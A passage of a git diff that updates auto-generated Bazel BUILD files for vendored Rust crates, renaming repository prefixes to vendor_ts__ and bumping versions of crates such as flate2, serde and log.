+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.15.0",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ena-0.14.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ena-0.14.3.bazel
index b1f8132eef70..0675dd061161 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ena-0.14.3.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ena-0.14.3.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "0.14.3",
     deps = [
-        "@vendor__log-0.4.22//:log",
+        "@vendor_ts__log-0.4.25//:log",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-0.2.33.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-0.2.33.bazel
index e87060e4b44c..625e2e262168 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-0.2.33.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-0.2.33.bazel
@@ -81,10 +81,10 @@ rust_library(
     }),
     version = "0.2.33",
     deps = [
-        "@vendor__encoding-index-japanese-1.20141219.5//:encoding_index_japanese",
-        "@vendor__encoding-index-korean-1.20141219.5//:encoding_index_korean",
-        "@vendor__encoding-index-simpchinese-1.20141219.5//:encoding_index_simpchinese",
-        "@vendor__encoding-index-singlebyte-1.20141219.5//:encoding_index_singlebyte",
-        "@vendor__encoding-index-tradchinese-1.20141219.5//:encoding_index_tradchinese",
+        "@vendor_ts__encoding-index-japanese-1.20141219.5//:encoding_index_japanese",
+        "@vendor_ts__encoding-index-korean-1.20141219.5//:encoding_index_korean",
+        "@vendor_ts__encoding-index-simpchinese-1.20141219.5//:encoding_index_simpchinese",
+        "@vendor_ts__encoding-index-singlebyte-1.20141219.5//:encoding_index_singlebyte",
+        "@vendor_ts__encoding-index-tradchinese-1.20141219.5//:encoding_index_tradchinese",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-japanese-1.20141219.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-japanese-1.20141219.5.bazel
index 880bee66622e..13d487c632d0 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-japanese-1.20141219.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-japanese-1.20141219.5.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "1.20141219.5",
     deps = [
-        "@vendor__encoding_index_tests-0.1.4//:encoding_index_tests",
+        "@vendor_ts__encoding_index_tests-0.1.4//:encoding_index_tests",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-korean-1.20141219.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-korean-1.20141219.5.bazel
index c7a1933827f7..97a7c7735c15 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-korean-1.20141219.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-korean-1.20141219.5.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "1.20141219.5",
     deps = [
-        "@vendor__encoding_index_tests-0.1.4//:encoding_index_tests",
+        "@vendor_ts__encoding_index_tests-0.1.4//:encoding_index_tests",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-simpchinese-1.20141219.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-simpchinese-1.20141219.5.bazel
index 9b21912641fe..1d849a7173a9 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-simpchinese-1.20141219.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-simpchinese-1.20141219.5.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "1.20141219.5",
     deps = [
-        "@vendor__encoding_index_tests-0.1.4//:encoding_index_tests",
+        "@vendor_ts__encoding_index_tests-0.1.4//:encoding_index_tests",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-singlebyte-1.20141219.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-singlebyte-1.20141219.5.bazel
index 6777eeecd0fe..c2abfe5614be 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-singlebyte-1.20141219.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-singlebyte-1.20141219.5.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "1.20141219.5",
     deps = [
-        "@vendor__encoding_index_tests-0.1.4//:encoding_index_tests",
+        "@vendor_ts__encoding_index_tests-0.1.4//:encoding_index_tests",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-tradchinese-1.20141219.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-tradchinese-1.20141219.5.bazel
index a84d85e6d7c6..60e931b095a7 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-tradchinese-1.20141219.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.encoding-index-tradchinese-1.20141219.5.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "1.20141219.5",
     deps = [
-        "@vendor__encoding_index_tests-0.1.4//:encoding_index_tests",
+        "@vendor_ts__encoding_index_tests-0.1.4//:encoding_index_tests",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.figment-0.10.19.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.figment-0.10.19.bazel
index 96f9285e43c7..ed0c656449e3 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.figment-0.10.19.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.figment-0.10.19.bazel
@@ -89,53 +89,53 @@ rust_library(
     }),
     version = "0.10.19",
     deps = [
-        "@vendor__figment-0.10.19//:build_script_build",
-        "@vendor__pear-0.2.9//:pear",
-        "@vendor__serde-1.0.217//:serde",
-        "@vendor__serde_yaml-0.9.34-deprecated//:serde_yaml",
-        "@vendor__uncased-0.9.10//:uncased",
+        "@vendor_ts__figment-0.10.19//:build_script_build",
+        "@vendor_ts__pear-0.2.9//:pear",
+        "@vendor_ts__serde-1.0.219//:serde",
+        "@vendor_ts__serde_yaml-0.9.34-deprecated//:serde_yaml",
+        "@vendor_ts__uncased-0.9.10//:uncased",
     ] + select({
         "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:armv7-linux-androideabi": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:i686-apple-darwin": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:i686-linux-android": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:i686-unknown-freebsd": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:thumbv7em-none-eabi": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:wasm32-unknown-unknown": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "@rules_rust//rust/platform:wasm32-wasip1": [
-            "@vendor__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
+            "@vendor_ts__atomic-0.6.0//:atomic",  # cfg(any(target_pointer_width = "8", target_pointer_width = "16", target_pointer_width = "32"))
         ],
         "//conditions:default": [],
     }),
@@ -196,7 +196,7 @@ cargo_build_script(
     version = "0.10.19",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__version_check-0.9.5//:version_check",
+        "@vendor_ts__version_check-0.9.5//:version_check",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.filetime-0.2.25.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.filetime-0.2.25.bazel
index 598f69662035..afa987bf06c9 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.filetime-0.2.25.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.filetime-0.2.25.bazel
@@ -81,88 +81,88 @@ rust_library(
     }),
     version = "0.2.25",
     deps = [
-        "@vendor__cfg-if-1.0.0//:cfg_if",
+        "@vendor_ts__cfg-if-1.0.0//:cfg_if",
     ] + select({
         "@rules_rust//rust/platform:aarch64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:armv7-linux-androideabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:i686-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:i686-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:i686-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.flate2-1.0.35.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.flate2-1.0.35.bazel
deleted file mode 100644
index 6a1e3a3263b1..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.flate2-1.0.35.bazel
+++ /dev/null
@@ -1,93 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "flate2",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "any_impl",
-        "default",
-        "miniz_oxide",
-        "rust_backend",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=flate2",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.0.35",
-    deps = [
-        "@vendor__crc32fast-1.4.2//:crc32fast",
-        "@vendor__miniz_oxide-0.8.2//:miniz_oxide",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.flate2-1.1.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.flate2-1.1.0.bazel
new file mode 100644
index 000000000000..348b7df02744
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.flate2-1.1.0.bazel
@@ -0,0 +1,93 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "flate2",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "any_impl",
+        "default",
+        "miniz_oxide",
+        "rust_backend",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=flate2",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.1.0",
+    deps = [
+        "@vendor_ts__crc32fast-1.4.2//:crc32fast",
+        "@vendor_ts__miniz_oxide-0.8.5//:miniz_oxide",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.foldhash-0.1.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.foldhash-0.1.5.bazel
new file mode 100644
index 000000000000..af8c916a9301
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.foldhash-0.1.5.bazel
@@ -0,0 +1,83 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "foldhash",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=foldhash",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
